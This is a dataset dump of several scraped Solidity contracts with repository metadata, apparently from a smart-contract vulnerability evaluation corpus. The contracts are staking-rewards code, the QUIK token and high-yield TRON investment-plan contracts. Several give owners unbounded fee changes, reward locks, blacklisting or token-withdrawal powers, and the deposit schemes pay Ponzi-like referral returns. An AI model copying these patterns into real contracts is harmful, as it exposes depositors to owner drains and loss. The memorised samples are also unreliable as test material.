function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint256 timeMultiplier = block.timestamp.sub(user.holdBonusCheckpoint).div(TIME_STEP); // +0.1% per day
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return timeMultiplier;
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
uint256 holdBonus = getUserPercentRate(userAddress);
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent.add(holdBonus)).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
uint256 _dividends = share.mul(to.sub(from)).div(TIME_STEP);
uint256 _dividendsWithFee = _dividends.sub(_dividends.mul(WITHDRAW_FEE_1).div(PERCENTS_DIVIDER));
totalAmount = totalAmount.add(_dividendsWithFee);
}
} else {
if(block.timestamp > user.deposits[i].finish) {
uint256 _profit = user.deposits[i].profit;
uint256 _profitWithFee = _profit.sub(_profit.mul(WITHDRAW_FEE_2).div(PERCENTS_DIVIDER));
totalAmount = totalAmount.add(_profitWithFee);
}
}
}
}
return totalAmount;
}
function getUserAvailable(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
uint256 holdBonus = getUserPercentRate(userAddress);
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent.add(holdBonus)).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP));
}
} else {
if(block.timestamp > user.deposits[i].finish) {
totalAmount = totalAmount.add(user.deposits[i].profit);
}
}
}
}
return totalAmount;
}
function getContractInfo() public view returns(uint256, uint256, uint256) {
return(totalStaked, totalRefBonus, totalUsers);
}
function getUserWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].withdrawn;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256) {
return (users[userAddress].referrals);
}
function getUserReferralTotalBonus(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256 amount) {
for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
amount = amount.add(users[userAddress].deposits[i].amount);
}
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256 amount) {
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish) {
User storage user = users[userAddress];
plan = user.deposits[index].plan;
percent = user.deposits[index].percent;
amount = user.deposits[index].amount;
profit = user.deposits[index].profit;
start = user.deposits[index].start;
finish = user.deposits[index].finish;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
| 106,007 | 636 |
83cdaff15a3bb6ca582d20c5acd095333bfaf68037a649d55ad80c857550c82f
| 30,276 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TN/TN8GpqMfQhqwDsF7rt2tRxD257fWcP7HK2_StakingRewards.sol
| 5,277 | 21,049 |
//SourceUnit: Staking.sol
pragma solidity 0.5.12;
interface ITRC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
contract TRC20Detailed is ITRC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeTRC20 {
using SafeMath for uint256;
function safeTransfer(ITRC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(ITRC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(ITRC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeTRC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(ITRC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(ITRC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(ITRC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(isContract(address(token)), "SafeTRC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeTRC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeTRC20: TRC20 operation did not succeed");
}
}
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
// Inheritance
interface IStakingRewards {
// Views
function lastTimeRewardApplicable() external view returns (uint256);
function rewardPerToken() external view returns (uint256);
function earned(address account) external view returns (uint256);
function getRewardForDuration() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
// Mutative
function stake(uint256 amount, address ref) external;
function withdraw(uint256 amount) external;
function getReward() external;
function exit() external;
}
contract RewardsDistributionRecipient {
address public rewardsDistribution;
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardsDistribution() {
require(msg.sender == rewardsDistribution, "Caller is not RewardsDistribution contract");
_;
}
}
contract StakingRewards is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard {
using SafeMath for uint256;
using SafeTRC20 for ITRC20;
ITRC20 public rewardsToken;
ITRC20 public stakingToken;
uint256 public periodFinish = 1632399106;
uint256 public rewardRate = 0;
uint256 public totalstakeuser = 0;
uint256 public rewardsDuration = 1 days;
uint256 public fee = 2;
uint256 public rewardpercentage = 10;
uint256 public feeEarning;
uint256 public started;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
uint public getduration;
struct stakeInfo {
uint totalStaked;
uint totalunstaked;
uint gainreward;
uint referalreward;
uint earnreferalreward;
bool stake;
address ref;
bool rewardlock;
bool referallock;
}
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
mapping(address => uint) public depositFee;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
mapping(address => uint256) private _totalstaked;
mapping (address => stakeInfo) public stakeInfos;
constructor(address _rewardsDistribution,
address _rewardsToken,
address _stakingToken) public {
rewardsToken = ITRC20(_rewardsToken);
stakingToken = ITRC20(_stakingToken);
rewardsDistribution = _rewardsDistribution;
stakeInfo memory StakeInfo;
StakeInfo = stakeInfo({
stake:true,
totalStaked: 0,
totalunstaked:0,
gainreward:0,
referalreward:0,
earnreferalreward:0,
ref:address(0),
rewardlock:false,
referallock:false
});
stakeInfos[_rewardsDistribution] = StakeInfo;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (_totalSupply == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply));
}
function calcRate(uint totalSupply) external view returns(uint256) {
return
rewardPerTokenStored.add(lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(totalSupply));
}
function earned(address account) public view returns (uint256) {
//eee = 1;
return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]);
}
function getRewardForDuration() external view returns (uint256) {
return rewardRate.mul(rewardsDuration);
}
function stakeWithPermit(uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
// permit
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
function stake(uint256 amount , address referal) external nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
uint deposit_fee = amount.mul(fee)/100;
depositFee[rewardsDistribution]+=deposit_fee;
amount = amount.sub(deposit_fee);
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
stakingToken.safeTransferFrom(msg.sender, address(this), amount.add(deposit_fee));
if(stakeInfos[msg.sender].stake == true){
stakeInfos[msg.sender].totalStaked +=amount;
totalstakeuser++;
}else{
stakeInfo memory StakeInfo;
StakeInfo = stakeInfo({
stake:true,
totalStaked: stakeInfos[msg.sender].totalStaked.add(amount),
totalunstaked:0,
gainreward:0,
referalreward:0,
earnreferalreward:0,
ref:referal,
rewardlock:false,
referallock:false
});
stakeInfos[msg.sender] = StakeInfo;
}
emit Staked(msg.sender, amount);
emit DepositFee(address(0), deposit_fee);
}
function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
stakingToken.safeTransfer(msg.sender, amount);
stakeInfos[msg.sender].totalunstaked +=amount;
emit Withdrawn(msg.sender, amount);
}
function getReward() public nonReentrant updateReward(msg.sender) {
uint256 reward = rewards[msg.sender];
if (reward > 0 && stakeInfos[msg.sender].rewardlock==false) {
rewards[msg.sender] = 0;
uint rewardamt = reward.mul(rewardpercentage)/100;
uint amount = reward.sub(rewardamt);
rewardsToken.safeTransfer(msg.sender, amount);
address refaddr =stakeInfos[msg.sender].ref;
if(refaddr!=address(0)){
rewardsToken.safeTransfer(refaddr, rewardamt);
stakeInfos[refaddr].earnreferalreward+=rewardamt;
}else{
rewardsToken.safeTransfer(rewardsDistribution, rewardamt);
stakeInfos[rewardsDistribution].earnreferalreward+=rewardamt;
}
stakeInfos[msg.sender].gainreward +=amount;
emit RewardPaid(msg.sender, reward);
}
}
function exit() external {
withdraw(_balances[msg.sender]);
getReward();
}
function lockunlockreward(address lockaddress, bool lock) external onlyRewardsDistribution() {
stakeInfos[lockaddress].rewardlock =lock;
}
function lockunlockreferal(address lockaddress, bool lock) external onlyRewardsDistribution() {
stakeInfos[lockaddress].referallock =lock;
}
function changefee(uint256 amount) external onlyRewardsDistribution() {
fee =amount;
}
function changereferalfee(uint256 amount) external onlyRewardsDistribution() {
rewardpercentage =amount;
}
function notifyRewardAmount(uint256 reward) external onlyRewardsDistribution updateReward(address(0)) {
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(rewardsDuration);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(rewardsDuration);
}
// Ensure the provided reward amount is not more than the balance in the contract.
// This keeps the reward rate in the right range, preventing overflows due to
// very high values of rewardRate in the earned and rewardsPerToken functions;
// Reward + leftover must be less than 2^256 / 10^18 to avoid overflow.
uint balance = rewardsToken.balanceOf(address(this));
require(rewardRate <= balance.div(rewardsDuration), "Provided reward too high");
uint256 blocktime= block.timestamp;
lastUpdateTime =blocktime;
periodFinish = block.timestamp.add(rewardsDuration);
emit RewardAdded(reward);
}
function getRewardamount(address owneraddr, uint amount) external onlyRewardsDistribution updateReward(address(0)) {
rewardsToken.safeTransfer(owneraddr,amount);
}
function getFeeWithdrawal(address _owner) external onlyRewardsDistribution {
uint feeamount = depositFee[msg.sender];
stakingToken.safeTransfer(msg.sender, feeamount);
feeEarning +=feeamount;
depositFee[msg.sender]=0;
emit FeeWithdrawal(msg.sender,feeamount);
}
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event DepositFee(address indexed user, uint256 amount);
event FeeWithdrawal(address indexed user, uint256 amount);
}
interface IStakingV2TRC20 {
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
contract StakingRewardsFactory is Ownable {
// immutables
address public rewardsToken;
uint public stakingRewardsGenesis;
uint PERIOD_LENGTH = 365 days;
uint PERIOD_LENGTH1 = 500 days;
uint public cccccc;
uint public cccccc1;
// the staking tokens for which the rewards contract has been deployed
address[] public stakingTokens;
// info about rewards for a particular staking token
struct StakingRewardsInfo {
address stakingRewards;
uint rewardAmount;
}
// rewards info by staking token
mapping(address => StakingRewardsInfo) public stakingRewardsInfoByStakingToken;
constructor(address _rewardsToken,
uint _stakingRewardsGenesis) Ownable() public {
require(_stakingRewardsGenesis >= block.timestamp, 'StakingRewardsFactory::constructor: genesis too soon');
rewardsToken = _rewardsToken;
stakingRewardsGenesis = _stakingRewardsGenesis;
cccccc =block.timestamp+PERIOD_LENGTH;
cccccc1 = now+PERIOD_LENGTH1;
}
///// permissioned functions
// deploy a staking reward contract for the staking token, and store the reward amount
// the reward will be distributed to the staking reward contract no sooner than the genesis
// staking fee must pass in wei format
function deploy(address stakingToken, uint rewardAmount) public onlyOwner {
StakingRewardsInfo storage info = stakingRewardsInfoByStakingToken[stakingToken];
require(info.stakingRewards == address(0), 'StakingRewardsFactory::deploy: already deployed');
info.stakingRewards = address(new StakingRewards(address(this), rewardsToken, stakingToken));
info.rewardAmount = rewardAmount;
stakingTokens.push(stakingToken);
}
///// permissionless functions
// notify reward amount for an individual staking token.
// this is a fallback in case the notifyRewardAmounts costs too much gas to call for all contracts
function notifyRewardAmount(address stakingToken,uint amount) public {
require(block.timestamp >= stakingRewardsGenesis, 'StakingRewardsFactory::notifyRewardAmount: not ready');
StakingRewardsInfo storage info = stakingRewardsInfoByStakingToken[stakingToken];
require(info.stakingRewards != address(0), 'StakingRewardsFactory::notifyRewardAmount: not deployed');
uint rewardAmount;
if (info.rewardAmount > 0) {
rewardAmount = info.rewardAmount;
info.rewardAmount = 0;
}else{
rewardAmount = amount;
}
require(ITRC20(rewardsToken).transferFrom(msg.sender,info.stakingRewards, rewardAmount),
'StakingRewardsFactory::notifyRewardAmount: transfer failed');
StakingRewards(info.stakingRewards).notifyRewardAmount(rewardAmount);
}
function faileSafe(address stakingToken, uint amount) public onlyOwner {
StakingRewardsInfo storage info = stakingRewardsInfoByStakingToken[stakingToken];
StakingRewards(info.stakingRewards).getRewardamount(msg.sender,amount);
}
function getFeeWithdrawal(address stakingToken) public onlyOwner {
StakingRewardsInfo storage info = stakingRewardsInfoByStakingToken[stakingToken];
StakingRewards(info.stakingRewards).getFeeWithdrawal(msg.sender);
}
}
| 306,339 | 637 |
0f47abe6dea3f8cf1985f41c0ea86385dba9c790fa61510286d8dbe4d051075b
| 21,091 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.8/QUIK-0x083726edb7b0300d8ce56f1e816efaef9c75d547.sol
| 2,868 | 11,203 |
//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.7;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract QUIK is IERC20, Context, Ownable{
using SafeMath for uint256;
using Address for address;
string private _name = "QUIK";
string private _symbol = "QUIK";
uint8 private _decimals = 18;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping(address => bool) public blacklistAddresses;
address public presaleContract;
uint256 public unlockTime;
uint256 public _totalSupply = 200000000 * 10**18;
uint256 public _runningSupply = 0;
event Mint(address minter, uint256 amount);
event Burn(address burner, uint256 amount);
constructor(uint256 _initialSupply,
address _presaleContract,
uint256 _unlockTime){
mintToken(_initialSupply);
_runningSupply = _initialSupply;
presaleContract = _presaleContract;
unlockTime = _unlockTime;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function mintToken(uint256 amount) public onlyOwner {
require(_totalSupply >= amount + _runningSupply, "ERC20: Total Supply Exceed!");
_balances[owner()] += amount;
_runningSupply += amount;
emit Transfer(address(0), msg.sender, amount);
emit Mint(msg.sender, amount);
}
function burnToken(uint256 amount) external onlyOwner {
require(_totalSupply - amount >= _runningSupply, "ERC20: Not enough balance to burn!");
_totalSupply -= amount;
emit Transfer(address(this), address(0), amount);
emit Burn(msg.sender, amount);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
require (_allowances[sender][_msgSender()] >= amount, "ERC20: transfer amount exceeds allowance");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "ERC20: cannot transfer zero");
require(!blacklistAddresses[sender], "ERC20: Sender is Blacklisted");
require(!blacklistAddresses[recipient], "ERC20: Recipient is Blacklisted");
if (!(sender == presaleContract || sender == owner() || recipient == owner())){
require(block.timestamp > unlockTime, "ERC20: Cannot Trade now in locked peroid");
}
require(_balances[sender] >= amount, "ERC20: transfer exceeds balance");
_balances[recipient] += amount;
_balances[sender] -= amount;
emit Transfer(sender, recipient, amount);
}
function addBlacklistAddress(address _wallet) external onlyOwner returns(bool){
blacklistAddresses[_wallet] = true;
return true;
}
function removeBlacklistAddress(address _wallet) external onlyOwner returns(bool){
blacklistAddresses[_wallet] = false;
return true;
}
function updateTradeUnlockTime(uint256 _tradeUnlockTime) external onlyOwner returns(bool){
unlockTime = _tradeUnlockTime;
return true;
}
function updatePresaleContract(address _presaleContract) external onlyOwner returns(bool){
presaleContract = _presaleContract;
return true;
}
}
| 218,609 | 638 |
26cce36fe40a081e700fb60f7f7f267c23df5f8c50f5b6b2ca3afef500e4cc4c
| 16,125 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TV/TVmV9uSMHHWfnQp4i8in8VepW5WxQtyFp4_TronCentury.sol
| 4,416 | 13,678 |
//SourceUnit: TronCentury.sol
pragma solidity 0.5.10;
contract TronCentury {
using SafeMath for uint256;
uint256 constant public INVEST_MIN_AMOUNT = 50E6;
uint256 constant public INVEST_MAX_AMOUNT = 500000E6;
uint256[] public REFERRAL_PERCENTS = [70, 30, 10,5,5];
uint256 public REFERRAL_PERCENTS_Total = 120;
uint256 constant public PROJECT_FEE = 100;
uint256 constant public INSURANCE_PERCENT = 200;
uint256 constant public CONTRACT_DONATION = 200;
uint256 constant public WITHDRAW_PERCENT = 600;
uint256 constant public PERCENT_STEP = 1;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public TIME_STEP = 1 days;
uint256 public TOTAL_DEPOSITED_GLOBAL;
uint256 public TOTAL_TRX_INSURED;
uint256 public TOTAL_WITHDREW_GLOBAL;
uint256 public TOTAL_UNIQUE_USERS;
uint256 public TOTAL_INSURANCE_CLAIMED;
struct Plan {
uint256 time;
uint256 percent;
}
Plan[] internal plans;
struct Deposit {
uint8 plan;
uint256 percent;
uint256 amount;
uint256 profit;
uint256 start;
uint256 finish;
}
struct WithdrawHistory {
uint256 amount;
uint256 start;
}
struct User {
Deposit[] deposits;
WithdrawHistory[] whistory;
uint256 checkpoint;
address referrer;
uint256[5] levels;
uint256 bonus;
uint256 totalBonus;
uint256 UserTotalDeposit;
uint256 UserTotalWithdraw;
uint256 deleted;
}
mapping (address => User) internal users;
uint256 public startUNIX;
address payable public commissionWallet;
event Newbie(address user);
